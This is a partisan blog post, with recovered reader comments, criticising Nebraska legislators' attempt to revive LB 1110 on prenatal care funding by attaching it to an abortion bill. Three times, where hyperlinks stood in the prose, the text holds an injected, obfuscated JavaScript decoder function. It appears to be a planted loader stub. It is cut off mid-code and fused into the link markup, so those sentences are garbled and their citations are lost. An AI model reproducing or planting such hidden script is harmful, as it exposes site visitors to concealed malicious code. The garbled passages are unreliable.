Nebraska Deem & Pass? LB 1110 Proved Shenanigans Not Limited To Federal Government

As a couple of Americans who have spent too much time focused on Washington, D.C. and not enough within our state (but making an effort to change this), we wonder whether the maneuvers regarding a certain piece of legislation introduced last session is common practice in the Nebraska Unicameral. We suspect it may well be. This time, though, there were at least a few more people paying attention. If you missed out, or if the details have faded from your memory with the passage of time, read along and follow us for a stroll down Memory Lane — a path we’ll wager more than a few people are hoping becomes overgrown with weeds from lack of use.

LB 1110, a measure intended to fund prenatal care previously paid for by Medicaid for recipients deemed ineligible for the program by the federal Department of Health and Human Services, was conceived by Senator Kathy Campbell past the deadline for new bills. To be introduced, it required a suspension of the rules vote on the Unicameral floor. 36 out of 49 Nebraska Senators voted “yay” on its introduction. While the focus of this article is on the conduct of our legislators, it is important to note that this bill should likely not have seen the light of day. It is important to note the circumstances under which it was able to gain any traction at all. The Unicameral entered session with all Senators aware the State budget was in trouble; a special session to deal with the immediate problems was convened in November 2009. Senators knew spending would have to be cut while dealing with the annual budget bill, so legislation they introduced essentially could not call for any new spending. For politicians eager to spend other people’s money, apparently there was a desire to spend in search of a crisis.

It is difficult to find other plausible explanations for LB 1110′s introduction. Perhaps some could argue that a vote to allow introduction does not constitute support for its passage. That argument sounds too similar to Senator Ben Nelson’s explanation for his cloture vote on the health care bill in December 2009. Introduction of the bill took up valuable legislative time while other matters ranging from action on protecting Nebraskans from implementing the looming health care law and seriously cutting the budget to untether Nebraska from its dependence on federal funding went by the wayside.

While 36 Senators believed the bill at least deserved introduction, several Senators, including Kathy Campbell, Cap Dierks, and Brad Ashford, and several others believed it was so important, “extraordinary” action was called for. At least two Nebraska newspapers believed they needed to help out.

A rather predictable but shameful campaign began immediately after Senator Kathy Campbell pulled L.B. 1110 (see background information here) from proceeding to a floor vote due to lack of support. Campbell likely pulled it due to Governor Heineman’s pledge to veto the measure and an unexpected public backlash. The campaign? To convince Nebraskans that a rash of abortions (or promises to have them) had broken out immediately following the demise of the bill.

The Lincoln Journal Star ran a front page story entitled “function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-regional/govt-and-politics/article_24e111d4-337d-11df-8883-001cc4c03286.html?mode=story">Clinics report women denied prenatal care are opting for abortions” on Friday, March 19. Quoting an Omaha clinic, the story related how the number of women reporting they would abort their babies was “unprecedented”. The reasons cited? It was precisely due to the lack of legislative action to restore their free prenatal care.  In addition to the usual medical equipment, like tongue depressors and blood pressure cuffs, apparently One World clinic staff members are also supplied with truth detectors (or crystal balls):

“The clinic does not provide abortion services nor referrals, but staff members are able to tell when a woman is serious about an abortion and when she is simply considering the idea, she said.”

So went the media campaign assisting the attempted maneuver.

Now, on to the maneuver itself. There were not enough votes to pass L.B. 1110 outright, so some of our Nebraska Senators decided to attach it to another bill that appeared to have a high chance of passing. That bill was L.B. 594, which proposed changes to laws governing voluntary and informed consent for abortions and which was introduced by Senator Cap Dierks.  (The LJS article referenced an abortion bill, and L.B. 594 was the only one we could find listed as entered by Senator Dierks.)

The following letter, sent to the Senators contemplating this move, best states what was going on here -

"Senators:

I was disappointed to read about your machinations to resurrect LB1110 by attaching it to another bill. You do not have the 30 votes necessary
to overcome the Governor’s promised veto, so you resort to manipulation. This smacks of Ms. Pelosi’s deem and pass scheme in the House and Senator Reid’s reconciliation move in the Senate. If at first you don’t succeed by proceeding in an honest, straightforward manner, do anything necessary to prevail, and it doesn’t matter if the legislative process is subverted along the way. Whatever happened to elected officials debating issues and voting on them directly, on their merits? You are a disappointment to me and to many others who see this as an illegal immigration issue, not an abortion issue. I understand that your motive is to undermine the Governor’s commitment to veto the measure by attaching it to a bill that deals directly with abortion. I find this move abhorrent. Do politicians check their ethics at the swearing in ceremony? Where is your integrity? I’ll repeat, process matters. Rules are there for a reason, and that reason is not so they can be bent or broken at will. If you lack the 30 votes to overcome the Governor’s veto, by all means, attempt to persuade your colleagues to your point of view, but spare your constituents the stench of more legislative political maneuvering. We’ve had quite enough of that from Washington.

Linda"

We’re not sure what was worse: a maneuver that attempted to pass legislation for which there were not adequate votes by attaching it to a popular bill; the use of the abortion issue in this underhanded manner; or the chucking of basic principles underlying proper legislative conduct and procedure.

This was a concerted effort to create a “crisis” environment connected to abortion so that a bill, having more to do with Medicaid rules and immigration than abortion, could come to be viewed as abortion-related, thus enabling it to be attached to another, more popular bill that directly pertained to abortion. Nebraska law requires that bills deal with a single subject.

L.B. 1110 was not abortion-related, so it had to be made to appear to be.

The underlying principles of key importance here were personal responsibility and the fact that the government routinely subsidizes the lack of it. As Ronald Reagan once said, “If you want more of something subsidize it; if you want less of something, tax it.” Individuals apparently incapable of paying or unwilling to pay for prenatal care themselves were supposedly threatening abortion if the state refused to fork over the money for that care.  Nebraska taxpayers were held hostage as pregnant women held a virtual gun to their unborn babies’ heads.  According to L.B. 1110 supporters, we should reward the hostage takers. We’re more of the Israeli mindset – we refuse to negotiate in hostage situations.

Was it really likely that an actual increase in the rate of abortions would result from L.B. 1110 being pulled? There is a glaring lack of logic in such a decision, particularly when viewed from a financial standpoint. The LJS article noted the lowest tier cost of a prenatal office visit as $30. Doing some mathematical calculations based on typical weeks’ gestation with the number of office visits of average frequency for a typical, low-risk pregnancy, the cost of prenatal care is essentially the same as the cost of the least expensive abortion procedure ($450), function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand Contraception Clinic of Nebraska fee schedule" href="http://www.abortionclinics.org/acconfees.html">as quoted by Abortion and Contraception Clinic of Nebraska. (Calculation based on first visit at 4 weeks gestation, 1 visit per month through week 32, with weekly visits weeks 33 – 40).

Even if we added as much as $200 or $300 to the cost of prenatal care, presuming some additional costs or a higher average fee, were we to believe that women would be driven to kill their babies over such a sum? And again, this assumes the woman qualifies for the lowest cost abortion procedure available.

It’s also important to note that the costs of prenatal care are incurred periodically over the weeks/months of the pregnancy and can be paid for on that basis — in installments.  The cost of an abortion is very likely due before the procedure is performed or, alternatively, in a lump sum shortly thereafter.

At what point in this whole process do we start asking ANY questions related to the woman’s responsibility for her choices? If the woman could afford the abortion, why couldn’t she afford the prenatal care? Why are the taxpayers of Nebraska responsible for that choice, but she is not?

Further, tangled up in this whole question, as noted in the letter written to Senators who were contemplating sneaking L.B. 1110 into another bill, was the issue of funding medical services for illegal immigrants. By providing services of all kinds, including medical care, to illegal immigrants, what kind of signal are we sending?

Again, if we want more of something, subsidize it.

Lincoln Journal Star and the quoted clinic overstepped a bit in their advocacy of this issue.  After we were told the sky was falling (a rash of abortions), as a “kicker” we were supposed to worry about women giving birth at home.

Prenatal care funding and labor and delivery services are separate issues. Why was it necessary to raise this issue in the story? Are clinicians incapable of informing their patients in regards to coverage for labor and delivery? While Medicaid does not fund prenatal care, it does pay for labor and delivery for qualifying individuals. That does include illegal immigrants because the child will be an American citizen the moment it is born.

It is important to note the following:

• As of 2008, 48% of all Nebraska births are paid for by Medicaid.

• OneWorld Community Health Center of Omaha, the clinic whose employees can psychically divine when a patient is “serious” about getting an abortion, had a LOT at stake if Medicaid funding for prenatal care fell through.  OneWorld reportedly lost approximately $500,000 in revenue to its clinic.  Medicaid is, clearly, a booming business.  That gave OneWorld 500,000 reasons for lobbying so hard for L.B. 1110.  Incidentally, it also gives OneWorld the same number of reasons to see that its function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand-politics/article_ab3458b8-3864-11df-87f7-001cc4c002e0.html">“pet” senators in the Nebraska Legislature reintroduce a similar measure at the next opportunity.

Enter, stage LEFT, pun intended, the usual suspects in our illustrious Legislature who have promised to throw the switches to try to reanimate the carcass that is L.B. 1110 once January rolls around.  Kathy Campbell, sporting a Bride of Frankenstein hairdo, and Brad Ashcroft, his eyes wild with excitement, are probably holed up in the capitol dome right now, waiting for a stormy night, primed to scream, “It’s alive!  It’s alive!” the minute a lightning bolt scores a direct hit.

Editor's Note: Comments posted in response to this article when it was originally published were lost when the GiN site went down.  Fortunately, we were able to recover the comments, and they are posted below.

Kyle Michaelis posted the following:

"If we want more of something, subsidize it."

As in HEALTHY CHILDREN? Absolutely. If you have a problem with that, you can label others Frankensteins all you want but you're the heartless monster - who should seriously invest in a calculator to figure out the undisputed savings from prenatal care.

By the way, your "Paint-by-the-numbers" approach to lawmaking is pretty weak. "Deem and pass" is no sin against democracy - it's a means of working within arcane Congressional rules to achieve a result with which a majority actually agrees. Now you're up in arms over the entire amendment process for no other reason than you didn't like one amendment that may or may not have been germane to an otherwise unconstitutional bill. Charlie Janssen, Tony Fulton, &amp; Company have done the exact same thing many times trying to attach anti-immigrant legislation to bills that are far more unrelated. But, you wouldn't care about that - THAT would be democracy in action.

Linda replied as follows:

I think we can agree that everyone would prefer all children be born healthy and remain so. Where you and I differ comes down to the answer to this question: At whose expense? If you favor L.B. 1110 and similar legislation, you clearly prefer that children's health be paid for, not out of your own pocket, but with other people's money.

In contrast, I would first look to the parents to provide for their own offspring. It is particularly appropriate, in this age of sex education and readily-available birth control (a great deal of it provided at public expense, I might add), to question why a woman and/or her significant other would “plan” parenthood when they cannot afford the cost of prenatal care or, as it seems is the case in Nebraska, the cost of delivering the child. If they cannot afford these initial investments, how can they hope to provide the funds necessary to raise the child to majority? Government welfare programs simply remove the necessity of considering the financial factor in this kind of family “planning”.

Any “savings” to the public fisc that result from government-funded prenatal care disappear when one considers the total cost incurred by the public in raising each of those children to majority once they are delivered. Again, subsidize a behavior and you get more of it. Remove the subsidy, and having a family you can't afford might actually appear to be the irresponsible, unfeasible, and unwise decision that it truly is. The prospective parents might then consider taking the necessary steps to delay conception until such time as they can truly afford to support themselves as well as a child.

See the articles re charity on this site to fully understand our position with regard to the need for the private sector to step up to provide for those less fortunate.

I'm afraid I'm not the huge fan of “majority rules” as you seem to think I am. We don't live in a democracy. The U.S. is a constitutional republic. I'm not aware of any public majority that was intended to be served by the “deem and pass” maneuver. It was precisely because the Speaker and the democrats in the House wanted to avoid a straight up vote, putting each of them on the record as voting for an extremely unpopular health reform bill, that “deem and pass” was considered.

The “everyone else is doing it, so it must be all right” argument didn't work with my parents when I was a kid, it doesn't work when my children attempt to use it to justify their bad behavior, so why should I accept it from ANY of my elected representatives? This is not a “party” issue. It's an ethical one. Having either an R or a D after their name absolves no one.